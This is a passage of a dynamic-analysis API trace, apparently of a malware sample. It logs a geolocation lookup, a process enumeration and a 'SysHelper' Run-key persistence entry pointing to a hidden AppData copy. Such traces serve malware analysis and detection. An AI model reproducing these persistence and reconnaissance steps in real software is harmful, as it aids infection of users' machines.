!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18cdb0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿùá³~ìÐ\x18", lpUsedDefaultChar=0x0) returned 256 [0043.881] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0043.881] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x8, Size=0x800) returned 0x509c9a8 [0043.881] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x40d47c [0043.881] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x509c6f8) returned 0x80 [0043.881] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x509c6f8) returned 0x80 [0043.881] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x509c6f8) returned 0x80 [0043.882] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x509c6f8) returned 0x80 [0043.882] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x110) returned 0x509d1b0 [0043.882] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x509c6f8) returned 0x80 [0043.882] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x10) returned 0x509ace0 [0043.882] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x509c6f8) returned 0x80 [0043.882] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x509c6f8) returned 0x80 [0043.882] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x509c6f8) returned 0x80 [0043.883] RtlSizeHeap (HeapHandle=0x4ff0000, Flags=0x0, MemoryPointer=0x509c6f8) returned 0x80 [0043.883] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0043.953] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x40) returned 0x5090e78 [0043.953] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0049.095] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1893b0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18bbb0 | out: lpBuffer=0x1893b0*, lpdwNumberOfBytesRead=0x18bbb0*=0x1d1) returned 1 [0049.096] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0049.098] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0049.098] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x20) returned 0x50a85e0 [0049.098] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x1e0) returned 0x50cca30 [0049.098] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x50cca30 | out: hHeap=0x4ff0000) returned 1 [0049.098] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x50a85e0 | out: hHeap=0x4ff0000) returned 1 [0049.098] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x5090e78 | out: hHeap=0x4ff0000) returned 1 [0049.098] GetCurrentProcess () returned 0xffffffff [0049.098] GetLastError () returned 0x2 [0049.098] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0049.098] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x10) returned 0x50cc4b8 [0049.098] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x110) returned 0x79cfed0 [0049.098] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x800) returned 0x79c3ad0 [0049.098] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x79c3ad0, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9dc6.tmp.exe")) returned 0x32 [0049.098] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0049.098] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x810) returned 0x79c42d8 [0049.098] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0049.098] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18bc90 | out: pNumArgs=0x18bc90) returned 0x79d9170*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" [0049.098] lstrcpyW (in: lpString1=0x18c940, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" [0049.098] lstrcmpW (lpString1="IsAutoStart", lpString2="IsNotAutoStart") returned -1 [0049.098] lstrcmpW (lpString1="IsTask", lpString2="IsNotTask") returned 1 [0049.099] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0049.099] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18bc2c | out: pNumArgs=0x18bc2c) returned 0x79d9170*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" [0049.099] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe") returned="9DC6.tmp.exe" [0049.099] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0049.099] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0049.100] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0049.100] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0049.100] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0049.101] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0049.101] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0049.101] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0049.101] EnumProcesses (in: lpidProcess=0x181428, cb=0xa000, lpcbNeeded=0x18bc38 | out: lpidProcess=0x181428, lpcbNeeded=0x18bc38) returned 1 [0049.103] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0049.103] CloseHandle (hObject=0x0) returned 0 [0049.103] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0049.103] CloseHandle (hObject=0x0) returned 0 [0049.103] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0049.103] CloseHandle (hObject=0x0) returned 0 [0049.103] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0049.103] CloseHandle (hObject=0x0) returned 0 [0049.103] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0049.103] CloseHandle (hObject=0x0) returned 0 [0049.103] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0049.103] CloseHandle (hObject=0x0) returned 0 [0049.103] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0049.103] CloseHandle (hObject=0x0) returned 0 [0049.103] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0049.103] CloseHandle (hObject=0x0) returned 0 [0049.103] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0049.103] CloseHandle (hObject=0x0) returned 0 [0049.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0049.104] CloseHandle (hObject=0x0) returned 0 [0049.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0049.104] CloseHandle (hObject=0x0) returned 0 [0049.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0049.104] CloseHandle (hObject=0x0) returned 0 [0049.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0049.104] CloseHandle (hObject=0x0) returned 0 [0049.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0049.104] CloseHandle (hObject=0x0) returned 0 [0049.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0049.104] CloseHandle (hObject=0x0) returned 0 [0049.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0049.104] CloseHandle (hObject=0x0) returned 0 [0049.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0049.104] CloseHandle (hObject=0x0) returned 0 [0049.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0049.104] CloseHandle (hObject=0x0) returned 0 [0049.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x5a0 [0049.104] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0049.104] CloseHandle (hObject=0x5a0) returned 1 [0049.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x5a0 [0049.104] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0049.105] CloseHandle (hObject=0x5a0) returned 1 [0049.105] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0049.105] CloseHandle (hObject=0x0) returned 0 [0049.105] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x5a0 [0049.105] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0049.105] CloseHandle (hObject=0x5a0) returned 1 [0049.105] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0049.105] CloseHandle (hObject=0x0) returned 0 [0049.105] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x5a0 [0049.105] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0049.105] CloseHandle (hObject=0x5a0) returned 1 [0049.105] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x414) returned 0x0 [0049.105] CloseHandle (hObject=0x0) returned 0 [0049.105] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x444) returned 0x5a0 [0049.105] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.106] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1390000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="sims-atm.exe") returned 0xc [0049.106] CloseHandle (hObject=0x5a0) returned 1 [0049.107] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x90) returned 0x5a0 [0049.107] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.107] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xbd0000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="shepherd nut harper.exe") returned 0x17 [0049.108] CloseHandle (hObject=0x5a0) returned 1 [0049.108] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b0) returned 0x5a0 [0049.108] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.109] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x2c0000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="plumbing.exe") returned 0xc [0049.109] CloseHandle (hObject=0x5a0) returned 1 [0049.109] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x594) returned 0x5a0 [0049.109] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.110] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xfb0000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="trembluzbekistanbible.exe") returned 0x19 [0049.110] CloseHandle (hObject=0x5a0) returned 1 [0049.110] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6bc) returned 0x5a0 [0049.110] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.111] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x8a0000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="colorsfaxchem.exe") returned 0x11 [0049.111] CloseHandle (hObject=0x5a0) returned 1 [0049.111] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x320) returned 0x5a0 [0049.111] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.112] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1090000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="bit-discussion-bikini.exe") returned 0x19 [0049.112] CloseHandle (hObject=0x5a0) returned 1 [0049.112] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c8) returned 0x5a0 [0049.112] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.113] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1070000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="observation joel.exe") returned 0x14 [0049.114] CloseHandle (hObject=0x5a0) returned 1 [0049.114] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x204) returned 0x5a0 [0049.114] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.115] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x130000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="solar.exe") returned 0x9 [0049.115] CloseHandle (hObject=0x5a0) returned 1 [0049.115] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x724) returned 0x5a0 [0049.115] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.116] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x12d0000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="poverty-also.exe") returned 0x10 [0049.116] CloseHandle (hObject=0x5a0) returned 1 [0049.116] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x178) returned 0x5a0 [0049.116] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.117] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1130000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="companionbreast.exe") returned 0x13 [0049.117] CloseHandle (hObject=0x5a0) returned 1 [0049.117] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x438) returned 0x5a0 [0049.117] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.118] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1130000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="treasure_yale.exe") returned 0x11 [0049.118] CloseHandle (hObject=0x5a0) returned 1 [0049.118] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f0) returned 0x5a0 [0049.118] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.119] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x12a0000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="ipod.exe") returned 0x8 [0049.120] CloseHandle (hObject=0x5a0) returned 1 [0049.120] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b8) returned 0x5a0 [0049.120] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.121] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x40000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="ks prerequisite friends.exe") returned 0x1b [0049.121] CloseHandle (hObject=0x5a0) returned 1 [0049.121] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x798) returned 0x5a0 [0049.121] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.122] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1000000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="ce_sitemap.exe") returned 0xe [0049.122] CloseHandle (hObject=0x5a0) returned 1 [0049.122] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6ac) returned 0x5a0 [0049.122] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.123] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xff0000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="floattile.exe") returned 0xd [0049.123] CloseHandle (hObject=0x5a0) returned 1 [0049.123] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b0) returned 0x5a0 [0049.123] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.124] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x840000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="chorus-finally.exe") returned 0x12 [0049.124] CloseHandle (hObject=0x5a0) returned 1 [0049.124] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5c8) returned 0x5a0 [0049.124] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.125] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xa30000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="transcriptrobbie.exe") returned 0x14 [0049.125] CloseHandle (hObject=0x5a0) returned 1 [0049.125] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5d8) returned 0x5a0 [0049.126] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.126] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xf70000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="homepage.exe") returned 0xc [0049.127] CloseHandle (hObject=0x5a0) returned 1 [0049.127] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f0) returned 0x0 [0049.127] CloseHandle (hObject=0x0) returned 0 [0049.127] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x80c) returned 0x5a0 [0049.127] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0049.128] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x400000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="9DC6.tmp.exe") returned 0xc [0049.128] CloseHandle (hObject=0x5a0) returned 1 [0049.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x28) returned 0x50a4d08 [0049.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x50cca30 [0049.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79ba640 [0049.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x50cef10 [0049.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x50cf178 [0049.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79c4af0 [0049.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79c4d58 [0049.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79c4fc0 [0049.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79c5228 [0049.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79c5490 [0049.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0x25c) returned 0x79c56f8 [0049.128] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18bc28 | out: phkResult=0x18bc28*=0x5a0) returned 0x0 [0049.128] RegQueryValueExW (in: hKey=0x5a0, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18bc24, lpData=0x18a350, lpcbData=0x18bc08*=0x400 | out: lpType=0x18bc24*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart", lpcbData=0x18bc08*=0xd8) returned 0x0 [0049.128] RegCloseKey (hKey=0x5a0) returned 0x0 [0049.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xe0) returned 0x50d0fb8 [0049.128] lstrlenA (lpString="\" --AutoStart") returned 13 [0049.128] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc0) returned 0x79d9238 [0049.129] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x50d0fb8 | out: hHeap=0x4ff0000) returned 1 [0049.129] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe") returned 1 [0049.129] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc0) returned 0x79d9300 [0049.129] HeapFree (in: hHeap=0x4ff0000, dwFlags=0x0, lpMem=0x79d9238 | out: hHeap=0x4ff0000) returned 1 [0049.129] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc0) returned 0x79d9238 [0049.129] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc0) returned 0x79d93c8 [0049.129] CoInitialize (pvReserved=0x0) returned 0x0 [0049.135] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0049.136] RtlAllocateHeap (HeapHandle=0x4ff0000, Flags=0x0, Size=0xc0) returned 0x79d9490 [0049.136] CoCreateInstance (in: rclsid=0x44ffcc*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, 